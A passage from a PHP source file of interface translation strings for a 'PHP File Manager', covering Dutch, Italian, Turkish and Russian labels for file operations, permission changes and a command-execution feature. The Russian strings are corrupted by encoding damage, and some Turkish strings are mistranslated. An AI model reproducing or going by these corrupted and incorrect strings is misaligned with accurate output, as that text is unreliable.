'Wachtwoord opgeslagen'; $nl['FileDirExists'] = 'Bestand of map bestaat al'; $nl['NoPhpinfo'] = 'Functie \'phpinfo\' is uitgeschakeld'; $nl['NoReturn'] = 'no return'; $nl['FileSent'] = 'Bestand verzonden'; $nl['SpaceLimReached'] = 'Opslagruimtelimiet bereikt'; $nl['InvExt'] = 'Ongeldige extensie'; $nl['FileNoOverw'] = 'Bestand kan niet worden overgeschreven'; $nl['FileOverw'] = 'Bestand overgeschreven'; $nl['FileIgnored'] = 'Bestand genegeerd'; $nl['ChkVer'] = 'Controleer nieuwe versie'; $nl['ChkVerAvailable'] = 'Nieuwe versie, klik hier om de download te starten'; $nl['ChkVerNotAvailable'] = 'Geen nieuwe versie beschikbaar'; $nl['ChkVerError'] = 'Verbindingsfout.'; $nl['Website'] = 'Website'; $nl['SendingForm'] = 'Bestanden worden verzonden. Even geduld...'; $nl['NoFileSel'] = 'Geen bestanden geselecteerd'; $nl['SelAll'] = 'Alles'; $nl['SelNone'] = 'Geen'; $nl['SelInverse'] = 'Keer om'; $nl['Selected_s'] = 'geselecteerd'; $nl['Total'] = 'totaal'; $nl['Partition'] = 'Partitie'; $nl['RenderTime'] = 'Tijd voor maken van deze pagina'; $nl['Seconds'] = 'sec'; $nl['ErrorReport'] = 'Foutenrapport'; // Italian - by Valerio Capello $it1['Version'] = 'Versione'; $it1['DocRoot'] = 'Document Root'; $it1['FLRoot'] = 'File Manager Root'; $it1['Name'] = 'Nome'; $it1['And'] = 'e'; $it1['Enter'] = 'Immetti'; $it1['Send'] = 'Invia'; $it1['Refresh'] = 'Aggiorna'; $it1['SaveConfig'] = 'Salva la Configurazione'; $it1['SavePass'] = 'Salva la Password'; $it1['SaveFile'] = 'Salva il File'; $it1['Save'] = 'Salva'; $it1['Leave'] = 'Abbandona'; $it1['Edit'] = 'Modifica'; $it1['View'] = 'Guarda'; $it1['Config'] = 'Configurazione'; $it1['Ren'] = 'Rinomina'; $it1['Rem'] = 'Elimina'; $it1['Compress'] = 'Comprimi'; $it1['Decompress'] = 'Decomprimi'; $it1['ResolveIDs'] = 'Risolvi IDs'; $it1['Move'] = 'Sposta'; $it1['Copy'] = 'Copia'; $it1['ServerInfo'] = 'Informazioni sul Server'; $it1['CreateDir'] = 'Crea Directory'; $it1['CreateArq'] = 'Crea File'; $it1['ExecCmd'] = 'Esegui Comando'; $it1['Upload'] = 'Carica'; $it1['UploadEnd'] = 'Caricamento terminato'; $it1['Perm'] = 'Perm'; $it1['Perms'] = 'Permessi'; $it1['Owner'] = 'Proprietario'; $it1['Group'] = 'Gruppo'; $it1['Other'] = 'Altri'; $it1['Size'] = 'Dimensioni'; $it1['Date'] = 'Data'; $it1['Type'] = 'Tipo'; $it1['Free'] = 'liberi'; $it1['Shell'] = 'Shell'; $it1['Read'] = 'Lettura'; $it1['Write'] = 'Scrittura'; $it1['Exec'] = 'Esecuzione'; $it1['Apply'] = 'Applica'; $it1['StickyBit'] = 'Sticky Bit'; $it1['Pass'] = 'Password'; $it1['Lang'] = 'Lingua'; $it1['File'] = 'File'; $it1['File_s'] = 'file'; $it1['Dir_s'] = 'directory'; $it1['To'] = 'a'; $it1['Destination'] = 'Destinazione'; $it1['Configurations'] = 'Configurazione'; $it1['JSError'] = 'Errore JavaScript'; $it1['NoSel'] = 'Non ci sono elementi selezionati'; $it1['SelDir'] = 'Scegli la directory di destinazione'; $it1['TypeDir'] = 'Inserisci il nome della directory'; $it1['TypeArq'] = 'Inserisci il nome del file'; $it1['TypeCmd'] = 'Inserisci il comando'; $it1['TypeArqComp'] = 'Inserisci il nome del file.\\nLa estensione definirà il tipo di compressione.\\nEsempio:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $it1['RemSel'] = 'ELIMINA gli elementi selezionati'; $it1['NoDestDir'] = 'LA directory di destinazione non è stata selezionata'; $it1['DestEqOrig'] = 'La directory di origine e di destinazione sono la stessa'; $it1['InvalidDest'] = 'La directory di destinazione non è valida'; $it1['NoNewPerm'] = 'Nuovi permessi non attivati'; $it1['CopyTo'] = 'COPIA in'; $it1['MoveTo'] = 'SPOSTA in'; $it1['AlterPermTo'] = 'CAMBIA I PERMESSI: '; $it1['ConfExec'] = 'Conferma ESECUZIONE'; $it1['ConfRem'] = 'Conferma ELIMINAZIONE'; $it1['EmptyDir'] = 'Directory vuota'; $it1['IOError'] = 'Errore di I/O'; $it1['FileMan'] = 'PHP File Manager'; $it1['TypePass'] = 'Immetti la password'; $it1['InvPass'] = 'Password non valida'; $it1['ReadDenied'] = 'Permesso di lettura negato'; $it1['FileNotFound'] = 'File non trovato'; $it1['AutoClose'] = 'Chiudi la finestra al termine'; $it1['OutDocRoot'] = 'File oltre DOCUMENT_ROOT'; $it1['NoCmd'] = 'Errore: Comando non informato'; $it1['ConfTrySave'] = 'File senza permesso di scrittura.\\nProvo a salvare comunque'; $it1['ConfSaved'] = 'Configurazione salvata'; $it1['PassSaved'] = 'Password salvata'; $it1['FileDirExists'] = 'Il file o la directory esiste già'; $it1['NoPhpinfo'] = 'La funzione phpinfo è disabilitata'; $it1['NoReturn'] = 'senza Return'; $it1['FileSent'] = 'File inviato'; $it1['SpaceLimReached'] = 'è stato raggiunto il limite di spazio disponibile'; $it1['InvExt'] = 'Estensione non valida'; $it1['FileNoOverw'] = 'Il file non può essere sovrascritto'; $it1['FileOverw'] = 'File sovrascritto'; $it1['FileIgnored'] = 'File ignorato'; $it1['ChkVer'] = 'Controlla se è disponibile una nuova versione'; $it1['ChkVerAvailable'] = 'è disponibile una nuova versione: premi qui per scaricarla.'; $it1['ChkVerNotAvailable'] = 'Non è disponibile nessuna nuova versione. :('; $it1['ChkVerError'] = 'Errore di connessione.'; $it1['Website'] = 'Sito Web'; $it1['SendingForm'] = 'Invio file, attendere prego'; $it1['NoFileSel'] = 'Nessun file selezionato'; $it1['SelAll'] = 'Tutti'; $it1['SelNone'] = 'Nessuno'; $it1['SelInverse'] = 'Inverti'; $it1['Selected_s'] = 'selezionato'; $it1['Total'] = 'totali'; $it1['Partition'] = 'Partizione'; $it1['RenderTime'] = 'Tempo per elaborare questa pagina'; $it1['Seconds'] = 'sec'; $it1['ErrorReport'] = 'Error Reporting'; // Italian - by Federico Corrà $it2['Version'] = 'Versione'; $it2['DocRoot'] = 'Root Documenti'; $it2['FLRoot'] = 'Root del File Manager'; $it2['Name'] = 'Nome'; $it2['And'] = 'e'; $it2['Enter'] = 'Invio'; $it2['Send'] = 'Spedisci'; $it2['Refresh'] = 'Aggiorna'; $it2['SaveConfig'] = 'Salva configurazioni'; $it2['SavePass'] = 'Salva password'; $it2['SaveFile'] = 'Salva file'; $it2['Save'] = 'Salva'; $it2['Leave'] = 'Esci'; $it2['Edit'] = 'Modifica'; $it2['View'] = 'Visualizza'; $it2['Config'] = 'Configura'; $it2['Ren'] = 'Rinomina'; $it2['Rem'] = 'Cancella'; $it2['Compress'] = 'Comprimi'; $it2['Decompress'] = 'Decomprimi'; $it2['ResolveIDs'] = 'Risolvi ID'; $it2['Move'] = 'Muovi'; $it2['Copy'] = 'Copia'; $it2['ServerInfo'] = 'Server info'; $it2['CreateDir'] = 'Crea cartella'; $it2['CreateArq'] = 'Crea file'; $it2['ExecCmd'] = 'Esegui comando'; $it2['Upload'] = 'Upload'; $it2['UploadEnd'] = 'Upload terminato'; $it2['Perm'] = 'Perm'; $it2['Perms'] = 'Permessi'; $it2['Owner'] = 'Owner'; $it2['Group'] = 'Grouppo'; $it2['Other'] = 'Altro'; $it2['Size'] = 'Dimensione'; $it2['Date'] = 'Data'; $it2['Type'] = 'Tipo'; $it2['Free'] = 'liberi'; $it2['Shell'] = 'Shell'; $it2['Read'] = 'Lettura'; $it2['Write'] = 'Scrittura'; $it2['Exec'] = 'Esecuzione'; $it2['Apply'] = 'Applica'; $it2['StickyBit'] = 'Sticky Bit'; $it2['Pass'] = 'Password'; $it2['Lang'] = 'Lingua'; $it2['File'] = 'File'; $it2['File_s'] = 'file'; $it2['Dir_s'] = 'cartella'; $it2['To'] = 'a'; $it2['Destination'] = 'Destinazione'; $it2['Configurations'] = 'Configurazioni'; $it2['JSError'] = 'Errore JavaScript'; $it2['NoSel'] = 'Nessun item selezionato'; $it2['SelDir'] = 'Scegli la cartella di destinazione sull\'albero a sinistra'; $it2['TypeDir'] = 'Inserisci il nome della cartella'; $it2['TypeArq'] = 'Inserisci il nome del file'; $it2['TypeCmd'] = 'Inserisci il comando'; $it2['TypeArqComp'] = 'Inserisci il nome del file.\\nL\'estensione definirà le modalità di compressione.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $it2['RemSel'] = 'ELIMINA gli item selezionati'; $it2['NoDestDir'] = 'Non è stata selezionata la cartella di destinazione'; $it2['DestEqOrig'] = 'La cartella di origine e di destinazione coincidono'; $it2['InvalidDest'] = 'La cartella di destinazione non è valida'; $it2['NoNewPerm'] = 'Nuovo permesso non definito'; $it2['CopyTo'] = 'COPIA in'; $it2['MoveTo'] = 'MUOVI in'; $it2['AlterPermTo'] = 'CAMBIA PERMESSI in'; $it2['ConfExec'] = 'Conferma ESECUZIONE'; $it2['ConfRem'] = 'Conferma CANCELLA'; $it2['EmptyDir'] = 'Cartella Vuota'; $it2['IOError'] = 'Errore I/O'; $it2['FileMan'] = 'PHP File Manager'; $it2['TypePass'] = 'Inserisci la password'; $it2['InvPass'] = 'Password non valida'; $it2['ReadDenied'] = 'Accesso in lettura non consentito'; $it2['FileNotFound'] = 'File non trovato'; $it2['AutoClose'] = 'Chiudi dopo aver completato'; $it2['OutDocRoot'] = 'File oltre DOCUMENT_ROOT'; $it2['NoCmd'] = 'Errore: comando non informato'; $it2['ConfTrySave'] = 'Accesso in scrittura non consentito.\\nProva a salvare comunque'; $it2['ConfSaved'] = 'Configurazioni salvate'; $it2['PassSaved'] = 'Password salvate'; $it2['FileDirExists'] = 'Il file o la cartella esiste già'; $it2['NoPhpinfo'] = 'Funzione phpinfo disabilitata'; $it2['NoReturn'] = 'Nessun ritorno'; $it2['FileSent'] = 'File spedito'; $it2['SpaceLimReached'] = 'Limite di spazio raggiunto'; $it2['InvExt'] = 'Estensione non valida'; $it2['FileNoOverw'] = 'Il file non potrebbe essere sovrascritto'; $it2['FileOverw'] = 'File sovrascritto'; $it2['FileIgnored'] = 'File ignorato'; $it2['ChkVer'] = 'Check nuova versione'; $it2['ChkVerAvailable'] = 'Nuova versione, clicca qui per iniziare il download!!'; $it2['ChkVerNotAvailable'] = 'Nessuna nuova versione disponibile. :('; $it2['ChkVerError'] = 'Errore di connessione.'; $it2['Website'] = 'Sito Web'; $it2['SendingForm'] = 'Invio file, prego attendi'; $it2['NoFileSel'] = 'Nessun file selezionato'; $it2['SelAll'] = 'Tutti'; $it2['SelNone'] = 'Nessuno'; $it2['SelInverse'] = 'Inverti'; $it2['Selected_s'] = 'selezionati'; $it2['Total'] = 'totale'; $it2['Partition'] = 'Partizione'; $it2['RenderTime'] = 'Tempo per renderizzare questa pagina'; $it2['Seconds'] = 'sec'; $it2['ErrorReport'] = 'Report errori'; // Italian - by Luca Zorzi $it3['Version'] = 'Versione'; $it3['DocRoot'] = 'Document Root'; $it3['FLRoot'] = 'Root del File Manager'; $it3['Name'] = 'Nome'; $it3['And'] = 'e'; $it3['Enter'] = 'Invio'; $it3['Send'] = 'Invia'; $it3['Refresh'] = 'Aggiorna'; $it3['SaveConfig'] = 'Salva le impostazioni'; $it3['SavePass'] = 'Salva la Password'; $it3['SaveFile'] = 'Salva il File'; $it3['Save'] = 'Salva'; $it3['Leave'] = 'Annulla'; $it3['Edit'] = 'Modifica'; $it3['View'] = 'Guarda'; $it3['Config'] = 'Impostazioni'; $it3['Ren'] = 'Rinomina'; $it3['Rem'] = 'Elimina'; $it3['Compress'] = 'Comprimi'; $it3['Decompress'] = 'Decomprimi'; $it3['ResolveIDs'] = 'Risolvi ID'; $it3['Move'] = 'Sposta'; $it3['Copy'] = 'Copia'; $it3['ServerInfo'] = 'Server Info'; $it3['CreateDir'] = 'Crea Cartella'; $it3['CreateArq'] = 'Crea File'; $it3['ExecCmd'] = 'Esegui Comando'; $it3['Upload'] = 'Upload'; $it3['UploadEnd'] = 'Upload completato'; $it3['Perm'] = 'Perm'; $it3['Perms'] = 'Permessi'; $it3['Owner'] = 'Proprietario'; $it3['Group'] = 'Gruppo'; $it3['Other'] = 'Altri'; $it3['Size'] = 'Dimensione'; $it3['Date'] = 'Data'; $it3['Type'] = 'Tipo'; $it3['Free'] = 'libero'; $it3['Shell'] = 'Shell'; $it3['Read'] = 'Lettura'; $it3['Write'] = 'Scruttura'; $it3['Exec'] = 'Esecuzione'; $it3['Apply'] = 'Applica'; $it3['StickyBit'] = 'Bit Sticky'; $it3['Pass'] = 'Password'; $it3['Lang'] = 'Lingua'; $it3['File'] = 'File'; $it3['File_s'] = 'file'; $it3['Dir_s'] = 'cartella/e'; $it3['To'] = 'a'; $it3['Destination'] = 'Destinazione'; $it3['Configurations'] = 'Configurazioni'; $it3['JSError'] = 'Errore JavaScript'; $it3['NoSel'] = 'Non ci sono elementi selezioneti'; $it3['SelDir'] = 'Scegli la cartella di destinazione nell\'elenco a sinistra'; $it3['TypeDir'] = 'Inserisci il nome della cartella'; $it3['TypeArq'] = 'Inserisci il nome del file'; $it3['TypeCmd'] = 'Inserisci il comando'; $it3['TypeArqComp'] = 'Inserisci il nome del file.\\nIl nome definir à il tipo della compressione .\\nEs:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $it3['RemSel'] = 'ELIMINA gli elementi selezionati'; $it3['NoDestDir'] = 'Non hai selezionato la cartella di destinazione'; $it3['DestEqOrig'] = 'La cartella di origine e destinazione è la stessa'; $it3['InvalidDest'] = 'La cartella di destinazione non è valida'; $it3['NoNewPerm'] = 'Nuovi permessi non impostati'; $it3['CopyTo'] = 'COPIA in'; $it3['MoveTo'] = 'SPOSTA in'; $it3['AlterPermTo'] = 'CAMBIA I PERMESSI a'; $it3['ConfExec'] = 'Conferma ESECUZIONE'; $it3['ConfRem'] = 'Conferma ELIMINAZIONE'; $it3['EmptyDir'] = 'CArtella vuota'; $it3['IOError'] = 'Errore di I/O'; $it3['FileMan'] = 'PHP File Manager'; $it3['TypePass'] = 'Inserisci la password'; $it3['InvPass'] = 'Password errata'; $it3['ReadDenied'] = 'Accesso in lettura negato'; $it3['FileNotFound'] = 'File non trovato'; $it3['AutoClose'] = 'Chiudi alla fine'; $it3['OutDocRoot'] = 'File fuori dalla DOCUMENT_ROOT'; $it3['NoCmd'] = 'Errore: Comando non informato'; $it3['ConfTrySave'] = 'File senza il permesso di scrittura.\\nProvare a salvarlo comunque'; $it3['ConfSaved'] = 'Configurazione salvata'; $it3['PassSaved'] = 'Password salvata'; $it3['FileDirExists'] = 'Il file o la cartella esiste già'; $it3['NoPhpinfo'] = 'Funzione phpinfo disabilitata'; $it3['NoReturn'] = 'no return'; $it3['FileSent'] = 'File inviato'; $it3['SpaceLimReached'] = 'Limite di spazio raggiunto'; $it3['InvExt'] = 'Estensione non valida'; $it3['FileNoOverw'] = 'Il file non può essere sovrascritto'; $it3['FileOverw'] = 'File sovrascritto'; $it3['FileIgnored'] = 'File ignorato'; $it3['ChkVer'] = 'Controlla la presnza di una nuova versione'; $it3['ChkVerAvailable'] = 'Nuova versione, clicca qui per avviare il download!!'; $it3['ChkVerNotAvailable'] = 'Nessuna nuova versione disponibile. :('; $it3['ChkVerError'] = 'Errore di connessione.'; $it3['Website'] = 'Sito'; $it3['SendingForm'] = 'Invio dei file, attendi'; $it3['NoFileSel'] = 'Nessun file selezionato'; $it3['SelAll'] = 'Tutti'; $it3['SelNone'] = 'Nessuno'; $it3['SelInverse'] = 'Inverti selezione'; $it3['Selected_s'] = 'selezionato'; $it3['Total'] = 'totale'; $it3['Partition'] = 'Partizione'; $it3['RenderTime'] = 'Tempo di generazione'; $it3['Seconds'] = 'sec'; $it3['ErrorReport'] = 'Error Reporting'; // Italian - by Gianni $it4['Version'] = 'Versione'; $it4['DocRoot'] = 'Root documenti'; $it4['FLRoot'] = 'Root file manager'; $it4['Name'] = 'Nome'; $it4['And'] = 'e'; $it4['Enter'] = 'Entra'; $it4['Send'] = 'Invia'; $it4['Refresh'] = 'Aggiorna'; $it4['SaveConfig'] = 'Salva configurazioni'; $it4['SavePass'] = 'Salva password'; $it4['SaveFile'] = 'Salva file'; $it4['Save'] = 'Salva'; $it4['Leave'] = 'Esci'; $it4['Edit'] = 'Modifica'; $it4['View'] = 'Vedi'; $it4['Config'] = 'Preferenze'; $it4['Ren'] = 'Rinomina'; $it4['Rem'] = 'Cancella'; $it4['Compress'] = 'Comprimi'; $it4['Decompress'] = 'Decomprimi'; $it4['ResolveIDs'] = 'Risolvi IDs'; $it4['Move'] = 'Sposta'; $it4['Copy'] = 'Copia'; $it4['ServerInfo'] = 'Versione PHP'; $it4['CreateDir'] = 'Crea directory'; $it4['CreateArq'] = 'Crea file'; $it4['ExecCmd'] = 'Esegui comando'; $it4['Upload'] = 'Upload'; $it4['UploadEnd'] = 'Upload terminato'; $it4['Perm'] = 'Perm'; $it4['Perms'] = 'Permessi'; $it4['Owner'] = 'Proprietario'; $it4['Group'] = 'Gruppo'; $it4['Other'] = 'Altro'; $it4['Size'] = 'Dimensione'; $it4['Date'] = 'Data'; $it4['Type'] = 'Tipo'; $it4['Free'] = 'liberi'; $it4['Shell'] = 'Shell'; $it4['Read'] = 'Lettura'; $it4['Write'] = 'Scrittura'; $it4['Exec'] = 'Esecuzione'; $it4['Apply'] = 'Applica'; $it4['StickyBit'] = 'Sticky Bit'; $it4['Pass'] = 'Password'; $it4['Lang'] = 'Lingua'; $it4['File'] = 'File'; $it4['File_s'] = 'files'; $it4['Dir_s'] = 'directory'; $it4['To'] = 'in'; $it4['Destination'] = 'Destinazione'; $it4['Configurations'] = 'Preferenze'; $it4['JSError'] = 'Errore JavaScript'; $it4['NoSel'] = 'Non ci sono elementi selezionati'; $it4['SelDir'] = 'Seleziona una directory di destinazione a sinistra'; $it4['TypeDir'] = 'Inserisci il nome della directory'; $it4['TypeArq'] = 'Inserisci il nome del file'; $it4['TypeCmd'] = 'Inserisci il comando'; $it4['TypeArqComp'] = 'Inserisci il nome del file e tipo di compressione\\n(.Zip .Tar .Bzip .Gzip)'; $it4['RemSel'] = 'Cancella gli elementi selezionati'; $it4['NoDestDir'] = 'Seleziona una directory di destinazione'; $it4['DestEqOrig'] = 'Origine e destinazione sono uguali'; $it4['InvalidDest'] = 'Directory di destinazione non valida'; $it4['NoNewPerm'] = 'Nuovi permessi non impostati'; $it4['CopyTo'] = 'Copia in'; $it4['MoveTo'] = 'Sposta in'; $it4['AlterPermTo'] = 'Cambia permessi in'; $it4['ConfExec'] = 'Conferma esecuzione'; $it4['ConfRem'] = 'Conferma eliminazione'; $it4['EmptyDir'] = 'Directory Vuota'; $it4['IOError'] = 'Errore I/O'; $it4['FileMan'] = 'PHP File Manager'; $it4['TypePass'] = 'Inserisci la password'; $it4['InvPass'] = 'Password non valida'; $it4['ReadDenied'] = 'Accesso in lettura negato'; $it4['FileNotFound'] = 'File non trovato'; $it4['AutoClose'] = 'Chiudi al termine'; $it4['OutDocRoot'] = 'File fuori dalla Root documenti'; $it4['NoCmd'] = 'Errore: comando non informato'; $it4['ConfTrySave'] = 'File senza permessi di scrittura.\\nRiprova a salvare'; $it4['ConfSaved'] = 'Preferenze salvate'; $it4['PassSaved'] = 'Password salvata'; $it4['FileDirExists'] = 'Il file o la directory esistono già'; $it4['NoPhpinfo'] = 'Funzione phpinfo disabilitata'; $it4['NoReturn'] = 'Nessun ritorno'; $it4['FileSent'] = 'File inviato'; $it4['SpaceLimReached'] = 'Raggiunto spazio limite'; $it4['InvExt'] = 'Estensione non valida'; $it4['FileNoOverw'] = 'Il file non può essere sovrascritto'; $it4['FileOverw'] = 'File sovrascritto'; $it4['FileIgnored'] = 'File ignorato'; $it4['ChkVer'] = 'Controlla aggiornamenti'; $it4['ChkVerAvailable'] = 'Nuova versione, click qui per effettuare il download!'; $it4['ChkVerNotAvailable'] = 'Nessuna nuova versione'; $it4['ChkVerError'] = 'Errore di connessione'; $it4['Website'] = 'Sito'; $it4['SendingForm'] = 'Invio files, attendere...'; $it4['NoFileSel'] = 'Nessun file selezionato'; $it4['SelAll'] = 'Tutti'; $it4['SelNone'] = 'Nessuno'; $it4['SelInverse'] = 'Inverti'; $it4['Selected_s'] = 'selezionati'; $it4['Total'] = 'totale'; $it4['Partition'] = 'Partizione'; $it4['RenderTime'] = 'Tempo per il render di questa pagina'; $it4['Seconds'] = 'sec'; $it4['ErrorReport'] = 'Report errori'; // Turkish - by Necdet Yazilimlari $tr['Version'] = 'Versiyon'; $tr['DocRoot'] = 'Kok dosya'; $tr['FLRoot'] = 'Kok dosya yoneticisi'; $tr['Name'] = 'Isim'; $tr['And'] = 've'; $tr['Enter'] = 'Giris'; $tr['Send'] = 'Yolla'; $tr['Refresh'] = 'Yenile'; $tr['SaveConfig'] = 'Ayarlari kaydet'; $tr['SavePass'] = 'Parolayi kaydet'; $tr['SaveFile'] = 'Dosyayi kaydet'; $tr['Save'] = 'Kaydet'; $tr['Leave'] = 'Ayril'; $tr['Edit'] = 'Duzenle'; $tr['View'] = 'Goster'; $tr['Config'] = 'Yapilandirma'; $tr['Ren'] = 'Yeniden adlandir'; $tr['Rem'] = 'Sil'; $tr['Compress'] = '.Zip'; $tr['Decompress'] = '.ZipCoz'; $tr['ResolveIDs'] = 'Kimlikleri coz'; $tr['Move'] = 'Tasi'; $tr['Copy'] = 'Kopyala'; $tr['ServerInfo'] = 'Sunucu Bilgisi'; $tr['CreateDir'] = 'Dizin olustur'; $tr['CreateArq'] = 'Dosya olusutur'; $tr['ExecCmd'] = 'Komut calistir'; $tr['Upload'] = 'Dosya yukle'; $tr['UploadEnd'] = 'Yukleme tamamlandi'; $tr['Perm'] = 'Izinler'; $tr['Perms'] = 'Izinler'; $tr['Owner'] = 'Sahip'; $tr['Group'] = 'Grup'; $tr['Other'] = 'Diger'; $tr['Size'] = 'Boyut'; $tr['Date'] = 'Tarih'; $tr['Type'] = 'Tip'; $tr['Free'] = 'Bos'; $tr['Shell'] = 'Kabuk'; $tr['Read'] = 'Oku'; $tr['Write'] = 'Yaz'; $tr['Exec'] = 'Calistir'; $tr['Apply'] = 'Uygula'; $tr['StickyBit'] = 'Sabit bit'; $tr['Pass'] = 'Parola'; $tr['Lang'] = 'Dil'; $tr['File'] = 'Dosya'; $tr['File_s'] = 'Dosya(lar)'; $tr['Dir_s'] = 'Dizin(ler)'; $tr['To'] = 'icin'; $tr['Destination'] = 'Hedef'; $tr['Configurations'] = 'Yapilandirmalar'; $tr['JSError'] = 'JavaScript hatasi'; $tr['NoSel'] = 'Secilen oge yok'; $tr['SelDir'] = 'Soldaki hedef dizin agaci secin'; $tr['TypeDir'] = 'Dizin adini girin'; $tr['TypeArq'] = 'Dosya adini girin'; $tr['TypeCmd'] = 'Komut girin'; $tr['TypeArqComp'] = 'Dosya ismini yazdiktan sonra sonuna .zip ekleyin'; $tr['RemSel'] = 'Secili ogeleri sil'; $tr['NoDestDir'] = 'Secili dizin yok'; $tr['DestEqOrig'] = 'Kokenli ve esit gidis rehberi'; $tr['InvalidDest'] = 'Hedef dizin gecersiz'; $tr['NoNewPerm'] = 'Izinler uygun degil'; $tr['CopyTo'] = 'Kopya icin'; $tr['MoveTo'] = 'Tasi icin'; $tr['AlterPermTo'] = 'Permission secin'; $tr['ConfExec'] = 'Yapilandirmayi onayla'; $tr['ConfRem'] = 'Simeyi onayla'; $tr['EmptyDir'] = 'Dizin bos'; $tr['IOError'] = 'Hata'; $tr['FileMan'] = 'Necdet_Yazilimlari'; $tr['TypePass'] = 'Parolayi girin'; $tr['InvPass'] = 'Gecersiz parola'; $tr['ReadDenied'] = 'Okumaya erisim engellendi'; $tr['FileNotFound'] = 'Dosya bulunamadi'; $tr['AutoClose'] = 'Otomatik kapat'; $tr['OutDocRoot'] = 'Kok klasor disindaki dosya'; $tr['NoCmd'] = 'Hata: Komut haberdar degil'; $tr['ConfTrySave'] = 'Dosya yazma izniniz yok. Yine de kaydetmeyi deneyebilirsiniz.'; $tr['ConfSaved'] = 'Ayarlar kaydedildi'; $tr['PassSaved'] = 'Parola kaydedildi'; $tr['FileDirExists'] = 'Dosya veya dizin zaten var'; $tr['NoPhpinfo'] = 'Php fonksiyon bilgisi devre disi'; $tr['NoReturn'] = 'Deger dondurmuyor'; $tr['FileSent'] = 'Dosya gonderildi'; $tr['SpaceLimReached'] = 'Disk limitine ulasildi'; $tr['InvExt'] = 'Gecersiz uzanti'; $tr['FileNoOverw'] = 'Dosya degistirilemiyor'; $tr['FileOverw'] = 'Dosya degistiribiliyor'; $tr['FileIgnored'] = 'Dosya kabul edildi'; $tr['ChkVer'] = 'Yeni versiyonu kontrol et'; $tr['ChkVerAvailable'] = 'Yeni surum bulundu. Indirmek icin buraya tiklayin.'; $tr['ChkVerNotAvailable'] = 'Yeni surum bulunamadi.'; $tr['ChkVerError'] = 'Baglanti hatasi'; $tr['Website'] = 'Website'; $tr['SendingForm'] = 'Dosyalar gonderiliyor, lutfen bekleyin'; $tr['NoFileSel'] = 'Secili dosya yok'; $tr['SelAll'] = 'Hepsi'; $tr['SelNone'] = 'Hicbiri'; $tr['SelInverse'] = 'Ters'; $tr['Selected_s'] = 'Secili oge(ler)'; $tr['Total'] = 'Toplam'; $tr['Partition'] = 'Bolme'; $tr['RenderTime'] = 'Olusturuluyor'; $tr['Seconds'] = 'Saniye'; $tr['ErrorReport'] = 'Hata raporu'; // РоÑÑÐ¸Ñ - Евгений Рашев $ru['Version']='ВерÑиÑ'; $ru['DocRoot']='Документ Root '; $ru['FLRoot']='Файловый менеджер'; $ru['Name']='ИмÑ'; $ru['And']='и'; $ru['Enter']='Enter'; $ru['Send']='Отправить'; $ru['Refresh']='Обновить'; $ru['SaveConfig']='Сохранить конфигурацию'; $ru['SavePass']='Сохранить пароль'; $ru['SaveFile']='Сохранить файл '; $ru['Save']='Сохранить'; $ru['Leave']='ОÑтавь'; $ru['Edit']='Изменить'; $ru['View']='ПроÑмотр'; $ru['Config']='ÐаÑтройки'; $ru['Ren']='Переименовать'; $ru['Rem']='Удалить'; $ru['Compress']='Сжать'; $ru['Decompress']='РаÑпаковать'; $ru['ResolveIDs']='ОпределÑть id'; $ru['Move']='ПеремеÑтить'; $ru['Copy']='Копировать'; $ru['ServerInfo']='Инфо о Ñервере'; $ru['CreateDir']='Создать папку'; $ru['CreateArq']='Создайте файл '; $ru['ExecCmd']='Выполнить'; $ru['Upload']='Загрузить'; $ru['UploadEnd']='Загружено'; $ru['Perm']='Права'; $ru['Perms']='РазрешениÑ'; $ru['Owner']='Владелец'; $ru['Group']='Группа'; $ru['Other']='Другие'; $ru['Size']='Размер'; $ru['Date']='Дата'; $ru['Type']='Тип'; $ru['Free']='Свободно'; $ru['Shell']='Shell'; $ru['Read']='Читать'; $ru['Write']='ПиÑать'; $ru['Exec']='ВыполнÑть'; $ru['Apply']='Применить'; $ru['StickyBit']='StickyBit'; $ru['Pass']='Пароль'; $ru['Lang']='Язык'; $ru['File']='Файл'; $ru['File_s']='Файл..'; $ru['Dir_s']='Пап..'; $ru['To']='в'; $ru['Destination']='Ðазначение'; $ru['Configurations']='КонфигурациÑ'; $ru['JSError']='Ошибка JavaScript'; $ru['NoSel']='нет выбранных Ñлементов'; $ru['SelDir']='Выберите папку Ð½Ð°Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð½Ð° левом дереве '; $ru['TypeDir']='Введите Ð¸Ð¼Ñ ÐºÐ°Ñ‚Ð°Ð»Ð¾Ð³Ð° '; $ru['TypeArq']='Введите Ð¸Ð¼Ñ Ñ„Ð°Ð¹Ð»Ð°'; $ru['TypeCmd']='Введите команду '; $ru['TypeArqComp']='Введите Ð¸Ð¼Ñ Ñ„Ð°Ð¹Ð»Ð° ,раÑширение\\n Ñто позволит определить тип ÑÐ¶Ð°Ñ‚Ð¸Ñ \\n Пример:.. \\n nome.zip \\n nome.tar \\n nome.bzip \\n nome.gzip '; $ru['RemSel']='Удалить выбранные Ñлементы'; $ru['NoDestDir']='нет выбранного каталога назначениÑ'; $ru['DestEqOrig']='ПроиÑхождение и назначение каталогов равны '; $ru['InvalidDest']='Ðазначение каталога недейÑтвительно'; $ru['NoNewPerm']='Ðовые Ñ€Ð°Ð·Ñ€ÐµÑˆÐµÐ½Ð¸Ñ Ð½Ðµ уÑтановлены'; $ru['CopyTo']='Копировать в '; $ru['MoveTo']='ПеремеÑтить в'; $ru['AlterPermTo']='Изменение разрешений в '; $ru['ConfExec']='Подтвердить ВЫПОЛÐИТЬ '; $ru['ConfRem']='Подтвердить УДÐЛЕÐИЕ'; $ru['EmptyDir']='ПуÑтой каталог '; $ru['IOError']='I/O Error'; $ru['FileMan']='PHP Файловый менеджер '; $ru['TypePass']='Введите пароль'; $ru['InvPass']='Ðеверный пароль'; $ru['ReadDenied']='ДоÑтуп запрещен '; $ru['FileNotFound']='Файл не найден'; $ru['AutoClose']='Закрыть полноÑтью '; $ru['OutDocRoot']='Файлы за пределами DOCUMENT_ROOT'; $ru['NoCmd']='Ошибка: Ðе Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶Ð¸Ð²Ð°ÐµÐ¼Ð°Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´Ð°'; $ru['ConfTrySave']='Файл без прав на запиÑÑŒ. \\n Сохранить в любом Ñлучае. '; $ru['ConfSaved']='ÐšÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸Ñ 